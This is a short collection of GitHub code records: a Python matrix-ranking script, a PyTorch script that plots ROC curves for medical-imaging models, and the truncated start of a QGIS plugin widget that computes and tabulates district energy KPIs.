+{"seq_id":"74860225126","text":"import sys\nimport heapq\n'''\n4 3\n20 -21 14\n-19 4 19\n22 -47 24\n-19 4 19\n'''\nM, N = map(int, sys.stdin.readline().rstrip().split(\" \"))\nmatrix = [[0] * N for _ in range(M)]\nresult = [[1] * N for _ in range(M)]\nheap = []\n\nfor i in range(M):\n tmp = list(sys.stdin.readline().rstrip().split(\" \"))\n for j in range(N):\n matrix[i][j] = (int)(tmp[j])\n heapq.heappush(heap, (matrix[i][j], (i, j)))\n\nwhile heap:\n value, (i, j) = heapq.heappop(heap)\n\n for k in range(M):\n if k != i:\n if value < matrix[k][j]:\n result[k][j] = max(result[i][j] + 1, result[k][j])\n else:\n continue\n\n for k in range(N):\n if k != j:\n if value < matrix[i][k]:\n result[i][k] = max(result[i][j] + 1, result[i][k])\n else:\n continue\n\nfor i in range(M):\n for j in range(N):\n print(result[i][j], end=\" \")\n print()\n\n\n\n","repo_name":"gooriiie/PythonAlgorithm","sub_path":"ChangeMatrix.py","file_name":"ChangeMatrix.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71516561127","text":"# import the necessary packages\nfrom training import config\nimport numpy as np\nimport torch\nfrom training.dataset import MultiTaskDataset\nimport torchmetrics.functional as f\nimport pandas as pd\nfrom torch.utils.data import DataLoader\nimport cv2\nimport argparse\nfrom sklearn.metrics import roc_curve, roc_auc_score, confusion_matrix\nimport matplotlib.pyplot as plt\nimport os\n\ncolor = {'BCE15-006': 'aqua',\n\t\t'BCE': 'forestgreen',\n\t\t'dice': 'darkslateblue',\n\t\t'BCE15-6': 'deepskyblue',\n\t\t'BCE15': 'lawngreen',\n\t\t'Dice15-6': 'purple',\n\t\t'Dice15-006': 'orchid',\n\t\t'dice15': 'crimson',\n\t\t}\n\ndef plot_roc_curve(fpr, tpr, dir,auroc):\n\tplt.plot(fpr, tpr, color = color[dir], label=dir + ': ' + f'{auroc:.3f}')\n #plt.show()\n\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-l\", \"--letter\", type=str, required=True, help=\"letter of the fold in capital case\")\nap.add_argument(\"-p\", \"--path\", type=str, required=False, help=\"path to output trained model\", default=\"Rocs\")\nargs = vars(ap.parse_args())\n\n# load the image and mask filepaths in a sorted manner\nLETTER = args[\"letter\"]\nOUTPUT = args[\"path\"]\n\n\nroot_dir = config.IMAGE_DATASET_PATH\ncsv_file = config.test_dataset_path(LETTER)\n\ndef each_model(path, dir):\n\tprint(\"[INFO] load up model \" + dir +\"...\")\n\tunet = torch.load(MODEL_PATH).to(config.DEVICE)\n\ty_intensity_ = []\n\tpreds_intensity_ = []\n\tunet.eval()\n\t# turn off gradient tracking\n\twith torch.no_grad():\n\t\tfor (x, y0, y1, y2) in testLoader:\n\t\t\t# send the input to the device\n\t\t\tx = x.to(config.DEVICE)\n\t\t\tpreds = unet(x)\n\t\t\ty_intensity_ += [y2.cpu().item(), ]\n\t\t\tpreds_intensity_ += [torch.sigmoid(preds[2].squeeze()).cpu().item(), ]\n\n\ty_intensity = np.array(y_intensity_)\n\tpreds_intensity = np.array(preds_intensity_)\n\n\tfpr, tpr, thresholds = roc_curve(y_intensity, preds_intensity)\n\tauroc = roc_auc_score(y_intensity, preds_intensity)\n\tprint('AUROC: ', auroc)\n\toptimal_idx = np.argmax(tpr - fpr)\n\toptimal_threshold = thresholds[optimal_idx]\n\tprint(\"Threshold optimal value is:\", optimal_threshold)\n\tplot_roc_curve(fpr, tpr, dir, auroc=auroc)\n\n\tpreds_intensity_old = torch.where(torch.Tensor(preds_intensity.squeeze()).to(config.DEVICE) > torch.Tensor([config.THRESHOLD]).to(config.DEVICE), 1, 0).squeeze().cpu()\n\tprint('Intensity accuracy old',len(np.array(torch.where((torch.Tensor(preds_intensity_old) == torch.Tensor(y_intensity)))[0])) / len(testLoader))\n\t#print(confusion_matrix(preds_intensity_old, y_intensity))\n\t\n\tpreds_intensity_new = torch.where(torch.Tensor(preds_intensity.squeeze()).to(config.DEVICE) > torch.Tensor([optimal_threshold]).to(config.DEVICE), 1, 0).squeeze().cpu()\n\tprint('Intensity accuracy new', len(np.array(torch.where((torch.Tensor(preds_intensity_new) == torch.Tensor(y_intensity)))[0])) / len(testLoader))\n\t#print(confusion_matrix(preds_intensity_new, y_intensity))\n\n\nif __name__ == '__main__':\n\tprint(\"[INFO] loading up test image paths...\")\n\ttestData = MultiTaskDataset(csv_file=csv_file, root_dir=root_dir)\n\ttestLoader = DataLoader(testData, shuffle=False, batch_size=1, pin_memory=config.PIN_MEMORY, num_workers=2)\n\tfig = plt.figure(1)\n\tplt.plot([0, 1], [0, 1], color='darkblue', linestyle=(0, (1, 10)))\n\tfor dir in next(os.walk(config.BASE_OUTPUT))[1]:\n\t\tif not (dir == 'tmp' or dir == 'Confusions' or dir == 'Confusions Absolute' or dir == 'Rocs'):\n\t\t\tMODEL_PATH = os.path.join(config.BASE_OUTPUT, dir) + '/model' + LETTER\n\t\t\teach_model(MODEL_PATH, dir)\n\t\t\tprint('model ' + dir + ' success')\n\n\tplt.legend()\n\tplt.xlabel('False Positive Rate')\n\tplt.ylabel('True Positive Rate')\n\tplt.title('Receiver Operating Characteristic (ROC) Curve')\n\n\tfig.savefig(os.path.join(config.BASE_OUTPUT, OUTPUT) + '/roc'+LETTER+'.pdf')\n\n\n\n\n\n","repo_name":"gargiuloanna/Medical-Imaging","sub_path":"MultiTask/roc.py","file_name":"roc.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17970826083","text":"import os\n\nfrom PyQt5 import QtWidgets, uic\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5 import QtCore\nfrom PyQt5.QtGui import QColor, QPixmap, QIcon, QBrush\nimport os.path\nimport logging\nimport sys\nimport traceback\nimport time\n\n# Import PyQt5\nfrom PyQt5.QtWidgets import QTableWidgetItem, QMessageBox\n\n\n# Import qgis main libraries\nfrom qgis.core import *\nfrom qgis.gui import *\nfrom qgis.utils import *\n\n# Import the custom tree widget items\nfrom .utility.filters.FECvisualizerService import FECvisualizerService\n\nfrom .building.DPM import *\nfrom .dialogSources import CheckSourceDialog\nfrom .technology.Technology import *\n\nfrom .Tjulia.Solar_thermal_production import generate_solar_thermal_forJulia\nfrom .Tjulia.single_building.Dem_cool_heating import generafile\nfrom .Tjulia.gui.SimulationDetailsWorker import SimulationDetailsWorker\nfrom .Tjulia.DistrictSimulator import DistrictSimulator\nfrom .Tjulia.test.MyLog import MyLog\n\nfrom .utility.pvgis.PvgisApiWorker import PvgisApiWorker\nfrom .utility.exceptions.UserInterruptException import UserInterruptException\n\nfrom . import master_planning_config\n\nimport requests\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'ui', 'Step2dockwidget.ui'))\n\n\nclass Step2_widget(QtWidgets.QDockWidget, FORM_CLASS):\n step2_closing_signal = pyqtSignal()\n send_KPIs_to_future = pyqtSignal(dict)\n update_progress_bar = pyqtSignal(int)\n stop_progress_bar = pyqtSignal()\n\n def attivati(self):\n print(\"ciao\")\n\n def __init__(self, work_folder=None, parent=None, iface=None):\n \"\"\"Constructor.\"\"\"\n super(Step2_widget, self).__init__(parent)\n\n self.logger = logging.getLogger(__name__)\n self.my_log = MyLog(os.path.join(os.path.dirname(os.path.realpath(__file__)), \"Tjulia\", \"test\", \"log\",\n \"log_simulator.txt\"))\n # Set up the user interface from Designer.\n # After setupUI you can access any designer object by doing\n # self., and you can use autoconnect slots - see\n # http://qt-project.org/doc/qt-4.8/designer-using-a-ui-file.html\n # #widgets-and-dialogs-with-auto-connect\n self.setupUi(self)\n self.iface = iface\n self.loading_mode_on = False\n self.baseline_buildings_widget = None\n self.baseline_sources_table = None\n self.baseline_scenario = None\n self.DHN_network_list = []\n self.DCN_network_list = []\n self.step0 = None\n self.step1 = None\n self.KPIs = None\n self.work_folder = work_folder\n self.simulator = None\n\n self.sources = CheckSourceDialog()\n\n for table in [self.tableWidget_5, self.tableWidget_2, self.tableWidget_3, self.tableWidget_4]:\n for i in range(table.rowCount()):\n for j in range(table.columnCount()):\n widget_item = table.item(i, j)\n if widget_item is not None:\n widget_item.setFlags(Qt.ItemIsEnabled)\n if j == 0:\n widget_item.setBackground(QBrush(QColor(Qt.white)))\n\n\n self.progressBar.hide()\n # self.tableWidget_5.setSpan(1, 0, 2, 1)\n # self.tableWidget_5.setSpan(3, 0, 2, 1)\n # self.tableWidget_5.setSpan(5, 0, 2, 1)\n # self.tableWidget_5.setSpan(7, 0, 2, 1)\n # self.tableWidget_5.setSpan(9, 0, 2, 1)\n # self.tableWidget_5.setSpan(11, 0, 2, 1)\n # self.tableWidget_5.setSpan(13, 0, 2, 1)\n # self.tableWidget_5.setSpan(16, 0, 2, 1)\n # self.tableWidget_2.setSpan(1, 0, 2, 1)\n # self.tableWidget_2.setSpan(3, 0, 6, 1)\n self.heat = None\n self.temperature = None\n\n icon = QIcon()\n icon_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"icons\",\n \"edit.png\")\n icon.addPixmap(QPixmap(icon_path), QIcon.Normal, QIcon.Off)\n self.calculateKpi.setIcon(icon)\n\n self.calculateKpi.clicked.connect(self.show_progress_bar)\n\n self.fec_visualizer_service = FECvisualizerService(self.output_table, self.fec_filter_combo_box,\n self.description_filter_label, mode=\"baseline\")\n\n self.mode_individual_buildings_active = False\n self.mode_networks_active = False\n\n self.tableWidget_5.hideRow(3)\n self.tableWidget_5.hideRow(4)\n self.tableWidget_5.hideRow(23)\n self.tableWidget_2.hideRow(9)\n for i in range(self.tableWidget_3.rowCount()):\n if i not in [0, 5]:\n self.tableWidget_3.hideRow(i)\n\n self.tabWidget.setCurrentIndex(0)\n self.pop_up_progress_bar = None\n\n def closeEvent(self, event):\n self.closeStep2()\n event.accept()\n\n def closeStep2(self):\n if not self.loading_mode_on:\n if self.KPIs is None:\n msg = QMessageBox(self)\n msg.setIcon(QMessageBox.Question)\n msg.setStandardButtons(QMessageBox.Yes|QMessageBox.No)\n msg.setWindowTitle(\"KPIs uncomputed\")\n msg.setText(\"The KPIs have not been calculated. They need to be computed to run the simulation.\"\n + \" Do you want to continue anyway ?\")\n retval = msg.exec_()\n if retval == QMessageBox.No:\n return\n self.hide()\n self.step2_closing_signal.emit()\n\n def show_progress_bar(self):\n\n max_progress = 0\n max_progress = max_progress + (\n len(self.DHN_network_list) + len(self.DCN_network_list)) * 4\n try:\n for _ in self.baseline_scenario.getFeatures():\n max_progress = max_progress + 1\n except:\n pass\n #self.progressBar.setMaximum(max_progress)\n #self.progressBar.setMinimum(0)\n #self.progressBar.setValue(0)\n #self.progressBar.show()\n #self.label_3.setText(\"Starting computation...\")\n\n def update_mode_networks(self, isactive):\n self.mode_networks_active = isactive\n\n def update_mode_single_buildings(self, isactive):\n self.mode_individual_buildings_active = isactive\n\n def KPIs_baselineScenario(self):\n self.my_log.log(\"GENERAL COMPUTATION STARTS\")\n kpis_folder = os.path.join(master_planning_config.CURRENT_PLANNING_DIRECTORY,\n master_planning_config.DISTRICT_FOLDER,\n master_planning_config.KPIS_FOLDER)\n\n #======================= Network approach =========================\n if True:#self.mode_networks_active:\n self.my_log.log(\"NETWORKS GENERAL COMPUTATION STARTS\")\n #dr = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"Tjulia\", \"district\", \"heating\")\n dr = os.path.join(kpis_folder, \"Tjulia\", \"district\", \"heating\")\n self.remove_files(os.path.join(dr, \"Results\"), \"Result\")\n #dr_sim = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"Tjulia\", \"district\")\n dr_sim = os.path.join(kpis_folder, \"Tjulia\", \"district\")\n\n print(\"Step2.py, KPIs_baselineScenario(): setting up simulator\")\n self.set_up_simulator()\n print(\"Step2.py, KPIs_baselineScenario(): running district simulator\")\n # thread_networks = QThread()\n # self.simulator.main_thread = QtCore.QThread.currentThread()\n # self.simulator.moveToThread(thread_networks)\n # self.simulator.finished.connect(thread_networks.quit)\n # thread_networks.finished.connect(thread_networks.deleteLater)\n # thread_networks.started.connect(lambda: self.simulator.run_district(dr_sim))\n # thread_networks.start()\n self.simulator.run_district(dr_sim)\n self.my_log.log(\"NETWORKS GENERAL COMPUTATION ENDS\")\n\n #======================= Buildings approach =========================\n\n if True:#self.mode_individual_buildings_active:\n self.my_log.log(\"BUILDINGS GENERAL COMPUTATION STARTS\")\n now = time.time()\n #dr = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"Tjulia\", \"single_building\")\n dr = os.path.join(kpis_folder, \"Tjulia\", \"single_building\")\n # ==> [PlanHeatProjectName]_hourly.csv\n # DEM_cool_time.csv\n # DEM_time.csv\n # DEM_DHW_time.csv\n print(\"Step2.py, KPIs_baselineScenario(): generating hourly profiles\")\n cinput = os.path.join( master_planning_config.CURRENT_MAPPING_DIRECTORY,\n master_planning_config.DMM_FOLDER,\n master_planning_config.DMM_PREFIX+master_planning_config.DMM_HOURLY_SUFFIX+\".csv\")\n n, buildings = generafile(self.step1.dmmTree, cinput=cinput, coutput=os.path.join(dr, \"input\"))\n self.my_log.log(\"Hourly profiles processed in \" + str(time.time()-now) + \" seconds.\")\n now = time.time()\n self.remove_files(os.path.join(dr, \"Results\"), \"Result\")\n self.my_log.log(\"Old results removed in \" + str(time.time() - now) + \" seconds.\")\n now = time.time()\n self.my_log.log(\"Common precaltulations done in \" + str(time.time() - now) + \" seconds.\")\n print(\"Step2.py, KPIs_baselineScenario(): running building calculation*\")\n self.simulator.run_buildings(buildings, dr, log=self.my_log)\n self.simulator.progress_bar = self.progressBar\n self.my_log.log(\"BUILDINGS GENERAL COMPUTATION ENDS\")\n\n\n #================================================================\n KPIs = self.simulator.close_simulation()\n self.fec_visualizer_service.set_KPIs(KPIs)\n\n self.KPIs = KPIs\n\n self.send_KPIs_to_future.emit(self.KPIs)\n\n cellr =QTableWidgetItem(str(KPIs[\"EN_1.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_1.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_1.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(1, 3, cellr)\n self.tableWidget_5.setItem(1, 4, cellt)\n self.tableWidget_5.setItem(1, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_1.2R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_1.2T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_1.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(2, 3, cellr)\n self.tableWidget_5.setItem(2, 4, cellt)\n self.tableWidget_5.setItem(2, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_2.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_2.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_2.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(3, 3, cellr)\n self.tableWidget_5.setItem(3, 4, cellt)\n self.tableWidget_5.setItem(3, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_2.2R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_2.2T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_2.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(4, 3, cellr)\n self.tableWidget_5.setItem(4, 4, cellt)\n self.tableWidget_5.setItem(4, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_3.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_3.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_3.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(5, 3, cellr)\n self.tableWidget_5.setItem(5, 4, cellt)\n self.tableWidget_5.setItem(5, 5, cell)\n\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_3.2R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_3.2T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_3.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(6, 3, cellr)\n self.tableWidget_5.setItem(6, 4, cellt)\n self.tableWidget_5.setItem(6, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_4.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_4.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_4.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(7, 3, cellr)\n self.tableWidget_5.setItem(7, 4, cellt)\n self.tableWidget_5.setItem(7, 5, cell)\n\n cellr = QTableWidgetItem(self.round_to_string(KPIs[\"EN_4.2R\"]))\n cellt = QTableWidgetItem(self.round_to_string(KPIs[\"EN_4.2T\"]))\n cell = QTableWidgetItem(self.round_to_string(KPIs[\"EN_4.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(8, 3, cellr)\n self.tableWidget_5.setItem(8, 4, cellt)\n self.tableWidget_5.setItem(8, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_5.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_5.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_5.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(9, 3, cellr)\n self.tableWidget_5.setItem(9, 4, cellt)\n self.tableWidget_5.setItem(9, 5, cell)\n\n cellr = QTableWidgetItem('{:.2f}'.format(KPIs[\"EN_5.2R\"]))\n cellt = QTableWidgetItem('{:.2f}'.format(KPIs[\"EN_5.2T\"]))\n cell = QTableWidgetItem('{:.2f}'.format(KPIs[\"EN_5.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(10, 3, cellr)\n self.tableWidget_5.setItem(10, 4, cellt)\n self.tableWidget_5.setItem(10, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_6.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_6.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_6.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(11, 3, cellr)\n self.tableWidget_5.setItem(11, 4, cellt)\n self.tableWidget_5.setItem(11, 5, cell)\n\n cellr = QTableWidgetItem(self.round_to_string(KPIs[\"EN_6.2R\"]))\n cellt = QTableWidgetItem(self.round_to_string(KPIs[\"EN_6.2T\"]))\n cell = QTableWidgetItem(self.round_to_string(KPIs[\"EN_6.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(12, 3, cellr)\n self.tableWidget_5.setItem(12, 4, cellt)\n self.tableWidget_5.setItem(12, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_7.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_7.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_7.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(13, 3, cellr)\n self.tableWidget_5.setItem(13, 4, cellt)\n self.tableWidget_5.setItem(13, 5, cell)\n\n cellr = QTableWidgetItem(self.round_to_string(KPIs[\"EN_7.2R\"]))\n cellt = QTableWidgetItem(self.round_to_string(KPIs[\"EN_7.2T\"]))\n cell = QTableWidgetItem(self.round_to_string(KPIs[\"EN_7.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(14, 3, cellr)\n self.tableWidget_5.setItem(14, 4, cellt)\n self.tableWidget_5.setItem(14, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_9.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_9.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_9.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(15, 3, cellr)\n self.tableWidget_5.setItem(15, 4, cellt)\n self.tableWidget_5.setItem(15, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_11.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_11.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_11.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(16, 3, cellr)\n self.tableWidget_5.setItem(16, 4, cellt)\n self.tableWidget_5.setItem(16, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_11.2R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_11.2T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_11.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(17, 3, cellr)\n self.tableWidget_5.setItem(17, 4, cellt)\n self.tableWidget_5.setItem(17, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_12.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_12.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_12.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(18, 3, cellr)\n self.tableWidget_5.setItem(18, 4, cellt)\n self.tableWidget_5.setItem(18, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_13.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_13.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_13.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(19, 3, cellr)\n self.tableWidget_5.setItem(19, 4, cellt)\n self.tableWidget_5.setItem(19, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_13.1bR\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_13.1bT\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_13.1b\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(20, 3, cellr)\n self.tableWidget_5.setItem(20, 4, cellt)\n self.tableWidget_5.setItem(20, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_14.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_14.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_14.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(21, 3, cellr)\n self.tableWidget_5.setItem(21, 4, cellt)\n self.tableWidget_5.setItem(21, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"EN_14.1bR\"]))\n cellt = QTableWidgetItem(str(KPIs[\"EN_14.1bT\"]))\n cell = QTableWidgetItem(str(KPIs[\"EN_14.1b\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(22, 3, cellr)\n self.tableWidget_5.setItem(22, 4, cellt)\n self.tableWidget_5.setItem(22, 5, cell)\n self.tableWidget_5.setItem(22, 5, cell)\n\n cellr = QTableWidgetItem(\"Nan\")\n cellt = QTableWidgetItem(\"Nan\")\n cell = QTableWidgetItem(\"Nan\")\n # cellr = QTableWidgetItem(str(KPIs[\"EN_15.1R\"]))\n # cellt = QTableWidgetItem(str(KPIs[\"EN_15.1T\"]))\n # cell = QTableWidgetItem(str(KPIs[\"EN_15.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_5.setItem(23, 3, cellr)\n self.tableWidget_5.setItem(23, 4, cellt)\n self.tableWidget_5.setItem(23, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_1.3R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_1.3T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_1.3\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(1, 3, cellr)\n self.tableWidget_2.setItem(1, 4, cellt)\n self.tableWidget_2.setItem(1, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_1.4R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_1.4T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_1.4\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(2, 3, cellr)\n self.tableWidget_2.setItem(2, 4, cellt)\n self.tableWidget_2.setItem(2, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_2.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_2.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_2.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(3, 3, cellr)\n self.tableWidget_2.setItem(3, 4, cellt)\n self.tableWidget_2.setItem(3, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_2.2R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_2.2T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_2.2\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(4, 3, cellr)\n self.tableWidget_2.setItem(4, 4, cellt)\n self.tableWidget_2.setItem(4, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_2.7R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_2.7T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_2.7\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(5, 3, cellr)\n self.tableWidget_2.setItem(5, 4, cellt)\n self.tableWidget_2.setItem(5, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_2.8R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_2.8T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_2.8\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n 